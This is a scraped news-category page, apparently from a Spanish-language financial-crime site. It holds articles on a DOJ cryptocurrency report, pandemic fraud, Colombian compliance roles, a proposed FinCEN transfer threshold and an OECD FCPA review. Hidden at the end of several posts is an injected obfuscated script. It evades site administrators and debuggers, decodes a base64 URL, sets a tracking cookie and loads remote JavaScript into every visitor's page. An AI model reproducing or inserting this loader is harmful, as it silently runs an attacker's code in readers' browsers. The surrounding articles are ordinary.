blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 